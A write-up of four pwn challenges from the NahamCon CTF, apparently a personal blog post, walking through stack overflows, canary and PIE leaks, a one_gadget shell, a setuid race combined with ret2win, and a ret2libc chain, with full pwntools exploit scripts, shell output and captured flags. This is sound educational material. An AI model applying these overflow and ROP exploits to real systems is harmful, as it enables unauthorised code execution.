NahamCon CTF was a 48 hour CTF with a lot of challenges in many different categories. I unfortunately missed most of the first day of the competition, but luckily I was still able to solve some of the pwn challenges. The following challenge-writeups are for the pwn-challenges I solved during the competition.
Open Sesame
Points: 50
Difficulty: Easy
Author: JohnHammondSomething about forty thieves or something? I don’t know, they must have had some secret incantation to get the gold!
Attachments: open_sesame, open_sesame.c
Together with the challenge binary we are given the source code for this challenge, which has the following important parts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#define SECRET_PASS "OpenSesame!!!"
typedef enum {no, yes} Bool;
void flag(){
system("/bin/cat flag.txt");
}
Bool isPasswordCorrect(char *input){
return (strncmp(input, SECRET_PASS, strlen(SECRET_PASS)) == 0) ? yes : no;
}
void caveOfGold(){
Bool caveCanOpen = no;
char inputPass[256];
puts("BEHOLD THE CAVE OF GOLD\n");
puts("What is the magic enchantment that opens the mouth of the cave?");
scanf("%s", inputPass);
if (caveCanOpen == no){
puts("Sorry, the cave will not open right now!");
return;
}
if (isPasswordCorrect(inputPass) == yes){
puts("YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:");
flag();
} else {
puts("ERROR, INCORRECT PASSWORD!");
}
}
int main(){
caveOfGold();
return 0;
}
The protections of the file are
1
2
3
4
5
6
$ pwn checksec open_sesame
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
The notable things are:
- There is a
flag()
function printing the flag if we give the passwordOpenSesame!!!
- After
caveCanOpen = no
there is no option to change it toyes
before the checkif (caveCanOpen == no)
- We have a buffer
inputPass
for 256 bytes, butscanf("%s", inputPass);
will read past that if we give it more characters
Because of the scanf
vulnerability here we can overflow the caveCanOpen
variable to be something else than 0, and as long as the first bytes of our payload is the password OpenSesame!!!
we will be able to print the flag (this works because the password-check only checks the first 13 bytes of our input instead of everything we give as input)
We start off by finding the offset to the caveCanOpen
variable with pwndbg by breaking at the first if-check (which in assembly is cmp dword ptr [rbp - 4], 0
) and check the value of the variable after we have supplied a long enough cyclic pattern
Knowing the offset to the variable, and that the first part of our input have to be the password, we get a payload consisting of
- OpenSesame!!!
- padding (268 - len(OpenSesame!!!))
- 1 (any number instead of 0 would work here)
Knowing the payload, we get the following exploit script (template is generated with pwntools pwn template ./<binary> --quiet > exploit.py
, with the following exploit script not showing the template code (only the actual exploit) )
1
2
3
4
5
6
7
8
9
10
11
12
password = b"OpenSesame!!!"
variable_offset = 268
io = start()
io.recvuntil(b"cave?")
payload = password
payload = payload.ljust(variable_offset, b"A")
payload += pack(0x1)
io.sendline(payload)
io.interactive()
1
2
3
4
5
6
$ python3 exploit.py
[+] Opening connection to challenge.nahamcon.com on port 32743: Done
[*] Switching to interactive mode
YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:
flag{85605e34d3d2623866c57843a0d2c4da}
Weird Cookie
Points: 467
Difficulty: Medium
Author: M_alphaSomething’s a little off about this stack cookie…
Attachments: weird_cookie, libc-2.27.so
The binary has the following protections
1
2
3
4
5
6
$ pwn checksec ./weird_cookie
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Reversing the binary reveals the following main function
We see the following notable parts:
- There is a predefined canary value which is checked for at the end of the main function
- We can input 64 bytes to a 40-byte buffer, which allows for an overflow
- There is no flag-printing function, so we probably have to ROP to get shell while bypassing PIE and ASLR
Since we have an overflow where we can give 64 bytes to a 40 byte buffer we can make the first puts(buffer)
print more than 40 bytes if we overwrite the nullbyte at the end of the buffer. puts
will then print until the next nullbyte, potentially leaking useful data. To overwrite the nullbyte at the end of the buffer we only need to give 40 bytes of input
1
2
3
4
5
6
io = start()
io.recvuntil(b"me?")
io.send(b"A"*40)
io.recvline()
leak = io.recvline()
print(leak)
By parsing different offsets of the leaked bytes we find the following
1
2
3
4
$ python3 exploit.py LOCAL
Leak: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb1\xf0\xd1\xbe\xc0)4\x12\x90\xc2\xc4\x8d\x86U\n'
Leak_1: 0x123429191f4520b1
Leak_2: 0x561f4f3a21a8
We find two leaks: The first one being something looking like the initialized canary_copy
, and the second one being a binary-leak which we can get the piebase from
1
2
3
canary = int(u64(leak[40:48].rstrip().ljust(8, b"\x00")))
main = int(u64(leak[48:54].rstrip().ljust(8, b"\x00")))-0xe8
exe.address = main - exe.sym.main
The “almost-canary” value is interesting, because it is similar to the value from the reversed main-function. Looking at the assembly-code of the main function we find a xor-operation being performed
There is also a hardcoded value which is being loaded, 0x123456789abcdef1
, if we xor this value with our leak_2
we get 0x7f6185f9fe40
which is a libc address 0x64e40
from the libc base address!
So from the first input we can get the base address of both the binary and the libc. This would be perfect to ROP by calling system("/bin/sh")
. However, since we only can input 64 bytes we are only able to barely overflow into the RIP-register with 1 gadget, but to call system("/bin/sh")
we need 3 gadgets (pop gadget, address of “/bin/sh”, and system() call).
Luckily we can use a one_gadget
, which is an address in libc which under certain constraints will be able to call execve("/bin/sh")
and give us shell.
We have 3 gadgets to try
1
2
3
4
5
6
7
8
9
10
11
12
13
$ one_gadget ./libc-2.27.so
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
The first one works fine, so we will use that one. Note that during this overflow, unless saved_canary == canary_copy
the program will call exit(0)
and not return, so we need to overwrite the leaked canary with its existing value to be able to ROP. This payload then becomes
1
2
3
4
5
io.recvuntil(b"again.")
payload = b"A"*canary_offset
payload += pack(canary)
payload += pack(0x0)
payload += pack(libc.address + 0x4f2a5)
Piecing all the parts together gives the full exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
canary_offset = 40
key = 0x123456789abcdef1
libc = exe.libc
io = start()
io.recvuntil(b"me?")
io.send(b"A"*40)
io.recvline()
leak = io.recvline()
canary = int(u64(leak[40:48].rstrip().ljust(8, b"\x00")))
main = int(u64(leak[48:54].rstrip().ljust(8, b"\x00")))-0xe8
exe.address = main - exe.sym.main
libc.address = (canary ^ key) - 0x64e40
log.success(f"Piebase @ {hex(exe.address)}")
log.success(f"Canary: {hex(canary)}")
log.success(f"Libc @ {hex(libc.address)}")
io.recvuntil(b"again.")
payload = b"A"*canary_offset
payload += pack(canary)
payload += pack(0x0)
payload += pack(libc.address + 0x4f2a5)
io.send(payload)
io.interactive()
Which gives us shell and the flag
1
2
3
4
5
$ python3 exploit.py
[+] Opening connection to challenge.nahamcon.com on port 30861: Done
[*] Switching to interactive mode
$ cat flag.txt
flag{e87923d7cd36a8580d0cf78656d457c6}
Nahm Nahm Nahm
Points: 369
Difficulty: Medium
Author: WittsEndMe hungry for files!
For your convenience, pwntools, nano and vim are installed on this instance.
Attachments: nahmnahmnahm
This was a bit of a special challenge, and involved us ssh-ing into a docker container where the attached binary were a setuid binary as root.
The protections of the binary are
1
2
3
4
5
6
$ pwn checksec nahmnahmnahm
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reversing the binary gives the following functions (with the first function, main, being a bit weird/long because of the assembly initializing 128 entries of the filename buffer)
The binary opens and print the contents of a file, unless the file contains the word flag in it. The file cannot be a symlink either. The size of the file also have to be less than 0x51.
Our goal is to read the flag
file located at the system, and it is owned by root.
The vulnerability is that the binary waits for an input with getchar()
before calling vuln(filename)
, but after the file-checks (filename not containing flag, file being a symlink, and size check). I therefore tried to create an empty file and symlink it to the flag file while the programs waits for an input with getchar()
. I though this would work because of the setuid, but I got fopen: permission denied
instead.
I then notices that there was a function in the binary, winning_function
, which just prints the flag when called. This makes the challenge being a ret2win
challenge, as the vuln
function reads 0x1000 bytes from a file into a 80 byte buffer.
What differs this challenge from a standard ret2win
challenge is that we have to create a file smaller than 0x51 bytes (without the word flag in the filename), and while the program waits for our input for getchar()
we write a ret2win
payload to the file with another terminal shell, and then let the program read our payload-file which exploits the buffer overflow.
The exploit-script creating the payload-file becomes
1
2
3
4
5
6
7
8
9
from pwn import *
exe = context.binary = ELF('/home/user/nahmnahmnahm', checksec=False)
payload = b"A"*104
payload += pack(exe.sym.winning_function)
with open("payload", "wb") as f:
f.write(payload)
Running this exploit gives us the flag (before pressing enter we run our exploit.py file to write into the empty payload file)
1
2
3
4
5
6
7
8
user@:~$ ./nahmnahmnahm
Enter file: /tmp/payload
Press enter to continue:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@Welcome to the winning function!
flag{d41d8cd98f00b204e9800998ecf8427e}
Segmentation fault
All Patched up
Points: 413
Difficulty: Medium
Author: M_alphaDo you really know how to ret2libc?
Attachments: libc-2.31.so, all_patched_up, Dockerfile
From the challenge-description we know that this will be a ret2libc
challenge.
The binary have the following protections
1
2
3
4
5
6
$ pwn checksec all_patched_up
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
and this reversed main function
The vulnerability is that 1024 bytes are being read into a 512 byte buffer, allowing a buffer overflow. We have no canary or PIE, so we only need to leak a libc address to bypass ASLR, which we will do by leaking a GOT function. However, we only have the available function read
, write
and setbuf
to use. This means that we have to leak the GOT-address of either of those functions by calling the write
function.
This is what introduces the biggest challenge with this exploit. Since the write
function takes 3 arguments we need control over the rdi
, rsi
and rdx
registers, but from the available gadgets we can only do these operations
mov rdi, 1
(We can only insert the value 1 into rdi)pop rsi; pop r15; mov rdi, 1; ret;
(We can pop into rsi)- No
rdx
gadgets
mov rdi, 1
lets us make write
write its output to stdout (which is what we want), we can also pop any value into rsi
, which in our case will be the GOT address of write
, but we cannot manipulate rdx
to specify how many bytes will be written to stdout. Luckily we don’t need to be able to manipulate this, as the existing value in rdx
at our exploit point will be a quite large value (ending up printing a lot more bytes than we actually need).
Knowing this, our exploit plan becomes
- Overflow the buffer until we hit the location of the return address
- use pop gadget to set
rsi
with the GOT address ofwrite
, andrdi
to 1 - Execute main again, and parse the leak to get the GOT address, and subsequently find the libc base address
- Overflow again and call
system("/bin/sh")
The full exploit script ends up being
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
libc = exe.libc
offset = 520
ret = 0x40101a
pop_rsi_pop_r15_mov_rdi_1 = 0x401251
io = start()
io.recvuntil(b">")
payload = b"A"*offset
payload += pack(ret)
payload += pack(pop_rsi_pop_r15_mov_rdi_1)
payload += pack(exe.got.write)
payload += pack(0x0)
payload += pack(exe.sym.write)
payload += pack(ret)
payload += pack(exe.sym.main)
io.send(payload)
leak = io.recvuntil(b">")[:-1].rstrip()
got_write = int(str(hex(unpack(leak[0:7].ljust(8, b"\x00"))))[:-2],16)
libc.address = got_write - libc.sym.write
log.success(f"Libc base @ {hex(libc.address)}")
rop = ROP(libc)
rop.raw(b"A"*offset)
rop.system(next(libc.search(b"/bin/sh\x00")))
io.send(rop.chain())
io.interactive()
Which gives us shell and the flag
1
2
3
4
5
$ python3 exploit.py
[+] Opening connection to challenge.nahamcon.com on port 31727: Done
[*] Switching to interactive mode
$ cat flag.txt
flag{499c6288c77f297f4fd87db8e442e3f0}